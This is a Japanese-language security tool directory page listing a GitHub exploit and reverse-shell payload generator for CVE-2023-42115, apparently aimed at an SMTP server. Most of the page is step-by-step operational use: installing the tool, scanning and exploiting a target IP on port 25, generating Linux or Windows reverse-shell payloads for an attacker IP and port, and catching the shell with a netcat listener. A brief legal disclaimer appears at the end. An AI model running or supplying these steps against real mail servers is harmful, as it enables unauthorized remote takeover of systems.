Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2023-42115 — Pythonベースの、CVE-2023-42115向けエクスプロイト兼リバースシェルペイロード生成ツール。スキャンおよびエクスプロイトモードを備え、クロスプラットフォームのペイロード作成に対応。 | Kitploit
ツール/GitHubGitHub/kirinse/cve-2023-42115
ペイロード生成脆弱性分析エクスプロイトシェルコードペネトレーションテストペイロード開発
GitHubkirinse/cve-2023-42115

cve-2023-42115

Pythonベースの、CVE-2023-42115向けエクスプロイト兼リバースシェルペイロード生成ツール。スキャンおよびエクスプロイトモードを備え、クロスプラットフォームのペイロード作成に対応。

リポジトリを見る
94152年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-42115: エクスプロイトおよびペイロード生成スクリプト

このリポジトリには2つのPythonスクリプトが含まれています:

  1. exploit.py: CVE-2023-42115を悪用するためのスクリプト。
  2. generate_payload.py: リバースシェルペイロードを生成するためのスクリプト。

前提条件

スクリプトを実行する前に、システムにPython 3がインストールされていることを確認してください。

インストール

  1. リポジトリのクローン:

    git clone https://github.com/isotaka134/cve-2023-42115.git
    cd cve-2023-42115
    
  2. 依存関係のインストール:

    pipを使用して必要なPythonライブラリをインストールします。次のコマンドを実行して、requirements.txtにリストされているすべての必要な依存関係をインストールしてください:

    pip install -r requirements.txt
    

使用方法

exploit.py

このスクリプトはCVE-2023-42115の脆弱性を悪用します。

python exploit.py -t <target_ip> -p <target_port> [options]

オプション:

-t: ターゲットのIPアドレス。

-p: ターゲットサービスのポート。

例:

  1. ターゲットのスキャン
    python exploit.py -t 192.168.1.10 -p 25  --mode SCAN
    
  2. 脆弱性の悪用
    python exploit.py -t 192.168.1.10 -p 25 --mode EXPLOIT -f /path/to/payload.sh
    

generate_payload.py

このスクリプトはユーザー入力に基づいてリバースシェルペイロードを生成します。

 python generate_payload.py

手順:

スクリプトは以下の情報を入力するよう求めます:

A. ペイロードタイプ ( linux または windows)

B. ローカルIP: リバース接続のためのIPアドレス

C. ローカルポート: リバース接続用 注意: ルーターの背後にいる場合やNATを使用している場合は、Netcatを実行しているデバイスに正しいポート転送を設定してください。

D. 出力ファイル名 (例: Linuxの場合はpayload.sh、Windowsの場合はpayload.ps1)

例:

python generate_payload.py
Payload Generator
Enter payload type (linux/windows): Linux 
Enter local IP address: 127.0.0.1
Enter local port: 4444
Enter output file name (e.g., payload.sh or payload.ps1): Payload.sh
Payload saved to Payload.sh

リスナーのセットアップ

リバースシェルを受け取るために、ローカルマシンにリスナーを設定する必要があります。これにはNetcat (nc)を使用できます。

  1. Linuxの場合:
     nc -lvnp <YOUR_LOCAL_PORT>
    
  2. Windowsの場合:
     nc -lvnp <YOUR_LOCAL_PORT>
    

これらの手順に従うことで、CVE-2023-42115を悪用するペイロードを作成して使用し、リバースシェル接続を受け取ることができるはずです。

貢献

改善の提案や貢献がある場合は、Issueを開くかプルリクエストを送信してください。

免責事項

  1. 法的免責事項: このスクリプトは教育目的および倫理的なテストを目的としています。所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法であり、法律で罰せられます。
  2. 倫理的使用: このスクリプトを責任を持って、セキュリティテストを実施できる環境でのみ使用してください。

トラブルシューティング

  1. 接続の問題: ターゲットに到達可能で、SMTPサービスが実行されていることを確認してください。
  2. 脆弱性の検出: サービスバナーが脆弱性チェックの期待される出力と一致することを確認してください。
  3. ペイロードの実行: ペイロードファイルが正しくフォーマットされ、アクセス可能であることを確認してください。

連絡先

質問やサポートについては、以下までご連絡ください:

 [email protected]
ツールをダウンロード